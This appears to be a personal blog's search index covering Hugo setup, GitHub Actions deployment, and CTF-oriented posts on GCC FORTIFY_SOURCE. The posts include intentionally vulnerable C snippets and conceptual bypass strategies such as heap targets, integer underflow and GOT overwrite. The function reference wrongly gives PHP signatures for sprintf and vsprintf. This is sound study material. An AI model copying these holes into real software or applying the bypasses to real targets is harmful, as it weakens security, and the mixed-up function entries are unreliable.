登录用户名 key: ${{ secrets.SERVER_SSH_KEY }} # SSH私钥 passphrase: ${{ secrets.SSH_PASSPHRASE }} # pass phrase（如果有的话） port: ${{ secrets.SERVER_PORT }} # SSH端口，默认22 source: \u0026#34;public/*\u0026#34; target: \u0026#34;/var/www/html/\u0026#34; strip_components: 1 rm: true 因为我们的实际操作仓库还是hugo\n所以我们接着去hugo仓库的secret里添加环境变量：ip，用户，私钥（pass phrase如果有的话），端口\n实际上一整套流程下来是非常快的，整个workflow也才33s，也就是说本地处理好push上去后半分钟就能同步啦！\n看到这里那么你的博客也成型了，添加更多文章，添加主题美化，这些功能就留给各位师傅自己探寻了。\n","permalink":"https://chenjx12.github.io/posts/%E4%B8%AA%E4%BA%BA%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/","summary":"\u003ch1 id=\"个人博客搭建\"\u003e个人博客搭建\u003c/h1\u003e\n\u003cp\u003ehugo + GitHub Pages/云服务器\u003c/p\u003e\n\u003cp\u003e以下仅为个人搭建记录，仅供参考\u003c/p\u003e\n\u003cp\u003e本来是写在微信公众号上的，后门租了服务器就整服务器上了，结果没注意服务器到期了……遂重新开到GitHub Pages上\u003c/p\u003e\n\u003ch2 id=\"本地hugo\"\u003e本地hugo\u003c/h2\u003e\n\u003cp\u003e先在Windows主机上创建一个文件夹用于放hugo\u003c/p\u003e\n\u003cp\u003e打开powershell\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewinget install Hugo.Hugo.Extended\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg alt=\"image-20260307223942796\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/Chenjx12/PicGO/main/img/202603080027080.png\"\u003e\u003c/p\u003e\n\u003cp\u003e如是，hugo安装完成，下一步初始化\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehugo new site . --force\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg alt=\"image-20260307224013245\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/Chenjx12/PicGO/main/img/202603080027977.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"github仓库-hugo源码\"\u003eGitHub仓库-hugo源码\u003c/h2\u003e\n\u003cp\u003e在GitHub上创建一个私有仓库，用于存放hugo源码以及文章草稿\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image-20260307224749398\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/Chenjx12/PicGO/main/img/202603080027995.png\"\u003e\u003c/p\u003e\n\u003cp\u003ecopy这玩意在本地git关联\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image-20260307225046358\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/Chenjx12/PicGO/main/img/202603080027407.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"同步关联\"\u003e同步关联\u003c/h2\u003e\n\u003cp\u003e本地初始化git，并且关联到github仓库\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image-20260307225636419\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/Chenjx12/PicGO/main/img/202603080027545.png\"\u003e\u003c/p\u003e\n\u003cp\u003ewell，可以看到仓库中已经有推送的了\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image-20260307225815519\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/Chenjx12/PicGO/main/img/202603080027973.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"主题添加\"\u003e主题添加\u003c/h3\u003e\n\u003cp\u003e会发现少了很多目录，这是因为git不推空目录，给hugo添加一下主题和第一篇文章，让git能把所有目录都推上去\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-powrshell\" data-lang=\"powrshell\"\u003egit submodule add --depth=1 https://github.com/adityatelange/hugo-PaperMod.git themes/PaperMod\necho \u0026#34;theme = \u0026#39;PaperMod\u0026#39;\u0026#34; \u0026gt;\u0026gt; hugo.toml\ngit add .\ngit commit -m \u0026#34;Add PaperMod theme and config\u0026#34;\ngit push\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"文章添加\"\u003e文章添加\u003c/h3\u003e\n\u003cp\u003e再给自己一个hello world：\u003c/p\u003e\n\u003cp\u003e在content目录下新建/post/hello-world.md\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e---\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Hello World\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003edate\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e2026-03-07T22:00:00\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e+08\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e00\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003edraft\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003etags\u003c/span\u003e: [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;hugo\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;博客\u0026#34;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ecategories\u003c/span\u003e: [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;技术\u0026#34;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e---\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e## 欢迎来到我的博客\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e这是我的第一篇 Hugo 文章！\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后让hugo帮我们处理一下：\u003c/p\u003e","title":"个人博客搭建"},{"content":"关于 Chenjx12 热爱技术，喜欢分享。\n技能 Linux 网络安全（pwn） 杂七杂八 联系方式 GitHub: Chenjx12 Email: chenj_x12@foxmail.com ","permalink":"https://chenjx12.github.io/about/","summary":"\u003ch2 id=\"关于-chenjx12\"\u003e关于 Chenjx12\u003c/h2\u003e\n\u003cp\u003e热爱技术，喜欢分享。\u003c/p\u003e\n\u003ch3 id=\"技能\"\u003e技能\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eLinux\u003c/li\u003e\n\u003cli\u003e网络安全（pwn）\u003c/li\u003e\n\u003cli\u003e杂七杂八\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"联系方式\"\u003e联系方式\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eGitHub: \u003ca href=\"https://github.com/Chenjx12\"\u003eChenjx12\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEmail: \u003ca href=\"mailto:chenj_x12@foxmail.com\"\u003echenj_x12@foxmail.com\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"关于我"},{"content":"欢迎来到我的博客 这是我的第一篇 Hugo 文章！\n","permalink":"https://chenjx12.github.io/posts/hello-world/","summary":"\u003ch2 id=\"欢迎来到我的博客\"\u003e欢迎来到我的博客\u003c/h2\u003e\n\u003cp\u003e这是我的第一篇 Hugo 文章！\u003c/p\u003e","title":"Hello World"},{"content":"源码防护-fortify_source 由于第一篇FORTIFY刚接触也没咋碰到，了解的也不多\n现在回过头来发现当时写的糊里糊涂，\n所以本篇继续深入FORTIFY防护\nFortify Source 是什么 本质：GCC 的编译时/运行时缓冲区溢出检测机制，属于源码级保护（不是二进制层面的 NX/Canary 那种）\n保护对象：标准库中的高风险函数（strcpy、memcpy、sprintf、gets 等），一般主要是和字符串相关的函数。\nFORTIFY_SOURCE 是 GCC/glibc 提供的一种编译时 + 运行时联合防护机制，通过将危险的 C 库函数替换为带边界检查的安全版本（__*_chk 后缀函数），在编译期和运行期检测缓冲区溢出。\n核心思想： 编译器在编译时尽可能推断出缓冲区大小，如果能在编译期判定溢出就直接报错；如果编译期无法确定，就插入运行时检查代码，在溢出发生的瞬间终止程序。\nFortify Source干了什么 要想知道Fortify Source干了什么，那就要先看看如果没有Fortify Source会发生什么\nchar buf[32]; strcpy(buf, user_input); //① memcpy(buf, src, len); //② sprintf(buf, \u0026#34;%s\u0026#34;, str); //③ read(fd, buf, 1024); //④ 先来看这段源码，毫无疑问的，①②③④这四条语句都有安全漏洞：\n①完全没有长度检查，溢出\n②len作为变量可能会\u0026gt;32\n③str也可能长度\u0026gt;32\n④1024\u0026gt;32毫无疑问的溢出\n而编译器对这些代码没有任何反应，也就是说，对生成的代码不会做任何的边界检查\nFortify Source的工作机制 工作流程：\n源代码：strcpy(buf, src) │ ▼ ┌───────────────────────────┐ │ 预处理阶段（宏替换） │ │ #include \u0026lt;string.h\u0026gt; │ │ FORTIFY 宏将 strcpy 替换为 │ │ __builtin___strcpy_chk() │ └───────────┬───────────────┘ │ ▼ ┌───────────────────────────────────┐ │ 编译阶段（GCC 内置函数处理） │ │ │ │ GCC 尝试用 __builtin_object_size() │ │ 推断 buf 的大小 │ │ │ ├──── 能确定大小 ────────────────────┤ │ │ │ │ ├─ 编译期可判定溢出 │ │ │ → 编译错误/警告 │ │ │ │ │ ├─ 编译期可判定安全 │ │ │ → 优化为普通 strcpy（零开销） │ │ │ │ │ └─ 编译期无法确定 │ │ → 插入运行时检查 │ │ → 调用 __strcpy_chk() │ │ │ ├──── 不能确定大小 ──────────────────┤ │ → 退化为普通 strcpy（无法保护） │ └──────────────────────────────────┘ 而工作流程中的三个关键组件：\n┌───────────────────────────────────────────────────┐ │ │ │ 1. __builtin_object_size(ptr, type) │ │ GCC 内置函数，编译时推断对象的剩余大小 │ │ │ │ 2. 头文件中的 FORTIFY 宏（\u0026lt;string.h\u0026gt; 等） │ │ 将标准函数替换为 __builtin___xxx_chk() 调用 │ │ │ │ 3. glibc 中的 __xxx_chk() 函数 │ │ 运行时执行实际的边界检查 │ │ │ └───────────────────────────────────────────────────┘ 原理详解 主要是对 __builtin_object_size()这个函数进行分析\n__builtin_object_size(ptr, type) // ptr: 指向某个对象的指针 // type: 推断模式（0-3） // 返回值: ptr 指向位置到对象末尾的剩余字节数 // 如果无法确定，返回 (size_t)-1 type参数的含义：\nstruct S { char a[10]; char b[20]; }; struct S s; char *p = \u0026amp;s.a[5]; __builtin_object_size(p, 0); // type=0: 整个对象的剩余大小 = sizeof(S) - 5 = 25 // 从 p 到整个结构体 s 的末尾 __builtin_object_size(p, 1); // type=1: 最内层子对象的剩余大小 = sizeof(a) - 5 = 5 // 从 p 到成员 a[] 的末尾 // type 0,1: 不确定时返回 (size_t)-1（最大值，相当于\u0026#34;不限制\u0026#34;） // type 2,3: 不确定时返回 0（最小值，相当于\u0026#34;零空间\u0026#34;） 实际的情况：\n// 情况1：栈上局部数组 → 编译器知道大小 char buf[64]; __builtin_object_size(buf, 0); // → 64 ✓ 确定 // 情况2：已知大小的 malloc char *p = malloc(100); __builtin_object_size(p, 0); // → 100 ✓ 有时能推断 // 情况3：动态大小 char *p = malloc(n); // n 是变量 __builtin_object_size(p, 0); // → (size_t)-1 ✗ 无法确定 // 情况4：数组偏移 char buf[64]; char *p = buf + 10; __builtin_object_size(p, 0); // → 54 ✓ 编译器能算 // 情况5：条件分支 char a[10], b[20]; char *p = (condition) ? a : b; __builtin_object_size(p, 0); // → 10 (取最小值，保守估计) 编译时：替换危险函数 // 源码 char buf[10]; strcpy(buf, \u0026#34;hello\u0026#34;); // 编译器能判断是否安全 // 实际编译后 strcpy(buf, \u0026#34;hello\u0026#34;); // 直接使用普通的strcpy 解析：在这里编译器在编译期就能够静态判断出 \u0026ldquo;hello\u0026quot;字符串的长度为6字节，小于buf的长度，故直接使用原版的strcpy减少开销\n// 源码 char buf[10]; strcpy(buf, \u0026#34;hello world\u0026#34;); // 编译器判断溢出 // 实际编译 // error: call to __builtin___strcpy_chk will always overflow 解析：编译器在编译时期就能够确定溢出，所以会直接报错误\n// 源码 char buf[10]; strcpy(buf, user_input); // 编译器看到固定大小缓冲区 // 实际编译后（伪代码） __strcpy_chk(buf, user_input, 10); // 多了长度检查参数 解析：因为在编译时期 未能判断 是否安全，但是已知缓冲区的大小，GCC 插入了 __*_chk 版本函数，多传入目标缓冲区大小参数，从而在 _运行时进行检查\n运行时：长度检查 // __strcpy_chk 内部逻辑 char *__strcpy_chk(char *dest, const char *src, size_t destlen) { if (strlen(src) \u0026gt;= destlen) // 检查：源字符串长度 \u0026gt;= 目标大小？ __chk_fail(); // 溢出检测！调用 __stack_chk_fail 类似机制 return strcpy(dest, src); // 安全时才执行 } 触发条件：当 GCC 能静态推断出缓冲区大小也就是destlen时才会插入检查\nPwn 中的实际影响 场景1：完全阻止经典栈溢出 void vulnerable() { char buf[64]; gets(buf); // 被替换成 __gets_chk，直接检测溢出 strcpy(buf, attacker_controlled); // 同上 } 结果：溢出瞬间触发 buffer overflow detected，程序 abort\n场景2：绕过点——动态大小无法检查 void tricky(char *input, size_t len) { char *buf = malloc(len); // 动态分配，编译时不知道大小 strcpy(buf, input); // 无法替换为 __strcpy_chk！ } 关键：malloc 返回值的大小编译器无法静态确定，不插入检查\n场景3：结构体/指针混淆 struct packet { int type; char data[0]; // 柔性数组 }; void parse(void *raw) { struct packet *p = raw; strcpy(p-\u0026gt;data, source); // 编译器不知道data实际大小，可能不检查 } 绕过/利用技术 方法1：目标选择 找没保护的函数：\n自定义的循环复制（不用 strcpy/memcpy） 动态分配内存后的操作 第三方库（未用 Fortify 编译） // 这个有保护 strcpy(buf, input); // 这个无保护（GCC看不到大小） memcpy(ptr, input, len); // 如果ptr是malloc返回的 // 这个也无保护 for (i = 0; i \u0026lt; len; i++) // 自定义循环 buf[i] = input[i]; 方法2：整数溢出绕过长度检查 // __memcpy_chk 检查：if (n \u0026gt; destlen) abort(); // 但如果 n 是计算出来的，先让整数下溢 size_t n = attacker_controlled; n = n - 100; // 如果n很小，下溢变成极大值 // 但检查时用原始的n？不，这里要看具体场景 更实际的例子：\nchar buf[64]; int len = read_int(); // 读入负数如 -1 memcpy(buf, data, len); // 转size_t后变成极大值，但检查可能用有符号比较？ 方法3：竞争条件/TOCTOU（极少见） // 检查和使用之间的时间差 __strcpy_chk(buf, src, 64); // 检查 strlen(src) \u0026lt; 64 通过后 // 但 src 在另一个线程被修改？（几乎不可能利用） 方法4：直接攻击 __chk_fail 本身 // 如果能覆盖 GOT 表中的 __stack_chk_fail 或 __chk_fail // 但 Full RELRO 下 GOT 只读，且这属于\u0026#34;用溢出修溢出检测\u0026#34;，难度极高 CTF/实战中的真实案例 案例：绕过思路总结 # 检查二进制是否开启 Fortify $ checksec ./target ... FORTIFY: YES # 说明有 __*_chk 函数 # 查看具体哪些函数被保护了 $ readelf -s ./target | grep _chk 0000000000401230 __strcpy_chk 0000000000401280 __memcpy_chk ... 实战策略：\n优先找堆漏洞：Fortify 主要针对栈缓冲区，堆分配通常无保护 找动态缓冲区：alloca、malloc 后的操作 找自定义实现：程序自己写的 my_strcpy 类函数 格式化字符串：%n 系列不受 Fortify 影响 典型题目特征 // 这种题目 Fortify 防不住（CTF常见套路） void vuln() { char *buf = malloc(64); int idx = read_int(); buf[idx] = read_char(); // 任意写，无函数调用 // 或者 read(0, buf, 0x1000); // read 系统调用，无 _chk 版本 } 与其他保护的关系 保护机制 防护层面 Fortify 能否替代 Stack Canary 二进制运行时 ❌ 不同机制，互补 NX 内存权限 ❌ 完全不相关 ASLR 地址随机化 ❌ 不相关 RELRO GOT 保护 ❌ 不相关 Fortify 源码级函数替换 - 关键认知：Fortify 是编译时最佳努力保护，不是强制安全边界。它：\n只保护用 \u0026lt;string.h\u0026gt; 等标准头文件的代码 只保护编译器能推断大小的缓冲区 不阻止逻辑漏洞（整数溢出、UAF、类型混淆等） 总结：Pwn 中的应对 遇到 Fortify 开启的目标：\n不要慌：它不是 Canary/NX 那种硬保护，只是\u0026quot;让危险函数变安全\u0026rdquo; 找替代路径：动态内存、自定义循环、系统调用 堆利用优先：Fortify 对堆几乎无影响 信息泄露：__chk_fail 报错可能泄露内存布局（虽然程序会退出） 更详细的请前往FORTIFY_SOURCE（编译时安全检查） - GKLBB - 博客园看这位师傅的文章。\n","permalink":"https://chenjx12.github.io/posts/%E6%BA%90%E7%A0%81%E9%98%B2%E6%8A%A4-fortify_source/","summary":"\u003ch1 id=\"源码防护-fortify_source\"\u003e源码防护-fortify_source\u003c/h1\u003e\n\u003cp\u003e由于第一篇FORTIFY刚接触也没咋碰到，了解的也不多\u003c/p\u003e\n\u003cp\u003e现在回过头来发现当时写的糊里糊涂，\u003c/p\u003e\n\u003cp\u003e所以本篇继续深入FORTIFY防护\u003c/p\u003e\n\u003ch1 id=\"fortify-source-是什么\"\u003eFortify Source 是什么\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003e本质\u003c/strong\u003e：GCC 的编译时/运行时缓冲区溢出检测机制，属于\u003cstrong\u003e源码级保护\u003c/strong\u003e（不是二进制层面的 NX/Canary 那种）\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e保护对象\u003c/strong\u003e：标准库中的高风险函数（strcpy、memcpy、sprintf、gets 等），一般主要是和字符串相关的函数。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFORTIFY_SOURCE\u003c/strong\u003e 是 GCC/glibc 提供的一种编译时 + 运行时联合防护机制，通过将危险的 C 库函数替换为带边界检查的安全版本（\u003ccode\u003e__*_chk\u003c/code\u003e 后缀函数），在编译期和运行期检测缓冲区溢出。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e核心思想\u003c/strong\u003e： 编译器在编译时尽可能推断出缓冲区大小，如果能在编译期判定溢出就直接报错；如果编译期无法确定，就插入运行时检查代码，在溢出发生的瞬间终止程序。\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"fortify-source干了什么\"\u003eFortify Source干了什么\u003c/h1\u003e\n\u003cp\u003e要想知道Fortify Source干了什么，那就要先看看如果没有Fortify Source会发生什么\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e buf[\u003cspan style=\"color:#ae81ff\"\u003e32\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003estrcpy\u003c/span\u003e(buf, user_input);  \u003cspan style=\"color:#75715e\"\u003e//①\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ememcpy\u003c/span\u003e(buf, src, len);    \u003cspan style=\"color:#75715e\"\u003e//②\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003esprintf\u003c/span\u003e(buf, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;%s\u0026#34;\u003c/span\u003e, str);  \u003cspan style=\"color:#75715e\"\u003e//③\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eread\u003c/span\u003e(fd, buf, \u003cspan style=\"color:#ae81ff\"\u003e1024\u003c/span\u003e);      \u003cspan style=\"color:#75715e\"\u003e//④\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e先来看这段源码，毫无疑问的，①②③④这四条语句都有安全漏洞：\u003c/p\u003e\n\u003cp\u003e①完全没有长度检查，溢出\u003c/p\u003e\n\u003cp\u003e②len作为变量可能会\u0026gt;32\u003c/p\u003e\n\u003cp\u003e③str也可能长度\u0026gt;32\u003c/p\u003e\n\u003cp\u003e④1024\u0026gt;32毫无疑问的溢出\u003c/p\u003e\n\u003cp\u003e而编译器对这些代码没有任何反应，也就是说，对生成的代码不会做任何的边界检查\u003c/p\u003e\n\u003ch2 id=\"fortify-source的工作机制\"\u003eFortify Source的工作机制\u003c/h2\u003e\n\u003cp\u003e工作流程：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e源代码：strcpy(buf, src)\n          │\n          ▼\n  ┌───────────────────────────┐\n  │ 预处理阶段（宏替换）         │\n  │ #include \u0026lt;string.h\u0026gt;       │\n  │ FORTIFY 宏将 strcpy 替换为  │\n  │ __builtin___strcpy_chk()  │\n  └───────────┬───────────────┘\n              │\n              ▼\n  ┌───────────────────────────────────┐\n  │ 编译阶段（GCC 内置函数处理）          │\n  │                                  │\n  │ GCC 尝试用 __builtin_object_size() │\n  │ 推断 buf 的大小                    │\n  │                                  │\n  ├──── 能确定大小 ────────────────────┤\n  │  │                               │\n  │  ├─ 编译期可判定溢出                │\n  │  │  → 编译错误/警告                │\n  │  │                               │\n  │  ├─ 编译期可判定安全                │\n  │  │  → 优化为普通 strcpy（零开销）   │\n  │  │                               │\n  │  └─ 编译期无法确定                 │\n  │     → 插入运行时检查               │\n  │     → 调用 __strcpy_chk()         │\n  │                                  │\n  ├──── 不能确定大小 ──────────────────┤\n  │  → 退化为普通 strcpy（无法保护）     │\n  └──────────────────────────────────┘\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e而工作流程中的三个关键组件：\u003c/p\u003e","title":"源码防护-FORTIFY-SOURCE"},{"content":"FORTIFY fortify是轻微的检查，用于检查是否存在缓冲区溢出的错误。适用于程序采用大量的字符串或者内存操作函数，如:\nmemcpy(): 描述：void *memcpy(void str1, const void str2, size_t n) 从存储区str2复制n个字符到存储区str1 参数：str1 \u0026ndash; 指向用于存储复制内容的目标数组，类型强制转换为 void 指针 str2 \u0026ndash; 指向要复制的数据源，类型强制转换为 void 指针 n \u0026ndash; 要被复制的字节数 返回值：该函数返回一个指向目标存储区 str1 的指针\nmemset(): 描述：void *memset(void *str, int c, size_t n) 复制字符 c（一个无符号字符）到参数 str 所指向的字符串的前 n 个字符 参数：str \u0026ndash; 指向要填充的内存块 c \u0026ndash; 要被设置的值。该值以 int 形式传递，但是函数在填充内存块时是使用该值的无符号字符形式 n \u0026ndash; 要被设置为该值的字节数 返回值：该值返回一个指向存储区 str 的指针\nstrcpy(): 描述：char *strcpy(char *dest, const char *src) 把 src 所指向的字符串复制到 dest，容易出现溢出 参数：dest \u0026ndash; 指向用于存储复制内容的目标数组 src \u0026ndash; 要复制的字符串 返回值：该函数返回一个指向最终的目标字符串 dest 的指针\nstpcpy(): 描述：extern char *stpcpy(char *dest,char *src) 把src所指由NULL借宿的字符串复制到dest所指的数组中 说明：src和dest所指内存区域不可以重叠且dest必须有足够的空间来容纳src的字符串返回指向dest结尾处字符（NULL）的指针\t返回值：\nstrncpy(): 描述：char *strncpy(char *dest, const char *src, size_t n) 把 src 所指向的字符串复制到 dest，最多复制 n 个字符。当 src 的长度小于 n 时，dest 的剩余部分将用空字节填充 参数：dest \u0026ndash; 指向用于存储复制内容的目标数组 src \u0026ndash; 要复制的字符串 n \u0026ndash; 要从源中复制的字符数 返回值：该函数返回最终复制的字符串\nstrcat(): 描述：char *strcat(char *dest, const char *src) 把 src 所指向的字符串追加到 dest 所指向的字符串的结尾 参数：dest \u0026ndash; 指向目标数组，该数组包含了一个 C 字符串，且足够容纳追加后的字符串 src \u0026ndash; 指向要追加的字符串，该字符串不会覆盖目标字符串 返回值：\nstrncat(): 描述：char *strncat(char *dest, const char *src, size_t n) 把 src 所指向的字符串追加到 dest 所指向的字符串的结尾，直到 n 字符长度为止 参数：dest \u0026ndash; 指向目标数组，该数组包含了一个 C 字符串，且足够容纳追加后的字符串，包括额外的空字符 src \u0026ndash; 要追加的字符串 n \u0026ndash; 要追加的最大字符数 返回值：该函数返回一个指向最终的目标字符串 dest 的指针\nsprintf():PHP 描述：sprintf(format,arg1,arg2,arg++) arg1、arg2、++ 参数将被插入到主字符串中的百分号（%）符号处。该函数是逐步执行的。在第一个 % 符号处，插入 arg1，在第二个 % 符号处，插入 arg2，依此类推 参数：format \u0026ndash; 必需。规定字符串以及如何格式化其中的变量 arg1 \u0026ndash; 必需。规定插到 format 字符串中第一个 % 符号处的参 arg2 \u0026ndash; 可选。规定插到 format 字符串中第二个 % 符号处的参数 arg++ \u0026ndash; 可选。规定插到 format 字符串中第三、四等等 % 符号处的参数 返回值：返回已格式化的字符串\nsnprintf(): 描述：int snprintf ( char * str, size_t size, const char * format, \u0026hellip; ) 设将可变参数(\u0026hellip;)按照 format 格式化成字符串，并将字符串复制到 str 中，size 为要写入的字符的最大数目，超过 size 会被截断 参数：str \u0026ndash; 目标字符串 size \u0026ndash; 拷贝字节数(Bytes)如果格式化后的字符串长度大于 size format \u0026ndash; 格式化成字符串 返回值：如果格式化后的字符串长度小于等于 size，则会把字符串全部复制到 str 中，并给其后添加一个字符串结束符 \\0。 如果格式化后的字符串长度大于 size，超过 size 的部分会被截断，只将其中的 (size-1) 个字符复制到 str 中，并给其后添加一个字符串结束符 \\0，返回值为欲写入的字符串长度\nvsprintf():PHP 描述：vsprintf(format,argarray) 与 sprintf() 不同，vsprintf() 中的参数位于数组中。数组元素将被插入到主字符串中的百分号（%）符号处。该函数是逐步执行的 参数：format \u0026ndash; 必需。规定字符串以及如何格式化其中的变量 argarray \u0026ndash; 必需。带有参数的一个数组，这些参数会被插到 format 字符串中的 % 符号处 返回值：以格式化字符串的形式返回数组值\nvsnprintf(): 描述：int vsnprintf (char * s, size_t n, const char * format, va_list arg ) 将格式化数据从可变参数列表写入大小缓冲区 如果在printf上使用格式，则使用相同的文本组成字符串，但使用由arg标识的变量参数列表中的元素而不是附加的函数参数，并将结果内容作为C字符串存储在s指向的缓冲区中 （以n为最大缓冲区容量来填充）。如果结果字符串的长度超过了n-1个字符，则剩余的字符将被丢弃并且不被存储，而是被计算为函数返回的值。在内部，函数从arg标识的列表中检索参数，就好像va_arg被使用了一样，因此arg的状态很可能被调用所改变。在任何情况下，arg都应该在调用之前的某个时刻由va_start初始化，并且在调用之后的某个时刻，预计会由va_end释放 参数：s \u0026ndash; 指向存储结果C字符串的缓冲区的指针，缓冲区应至少有n个字符的大小 n \u0026ndash; 在缓冲区中使用的最大字节数，生成的字符串的长度至多为n-1，为额外的终止空字符留下空，size_t是一个无符号整数类型 format \u0026ndash; 包含格式字符串的C字符串，其格式字符串与printf中的格式相同 arg \u0026ndash; 标识使用va_start初始化的变量参数列表的值 返回值：如果n足够大，则会写入的字符数，不包括终止空字符。如果发生编码错误，则返回负数。注意，只有当这个返回值是非负值且小于n时，字符串才被完全写入\ngets(): 描述：char *gets(char *str) 从标准输入 stdin 读取一行，并把它存储在 str 所指向的字符串中。当读取到换行符时，或者到达文件末尾时，它会停止，具体视情况而定 参数：str \u0026ndash; 这是指向一个字符数组的指针，该数组存储了 C 字符串 返回值：如果成功，该函数返回 str。如果发生错误或者到达文件末尾时还未读取任何字符，则返回 NULL\nGCC用法：\ngcc -D_FORTIFY_SOURCE=1 仅仅只在编译时进行检查（尤其是#include \u0026lt;string.h\u0026gt;这种文件头） gcc -D_FORTIFY_SOURCE=2 程序执行时也会进行检查（如果检查到缓冲区溢出，就会终止程序） 在-D_FORTIFY_SOURCE=2时，通过对数组大小来判断替换strcpy、memcpy、memset等函数名，从而达到防止缓冲区溢出的作用 ","permalink":"https://chenjx12.github.io/posts/fortify/","summary":"\u003ch1 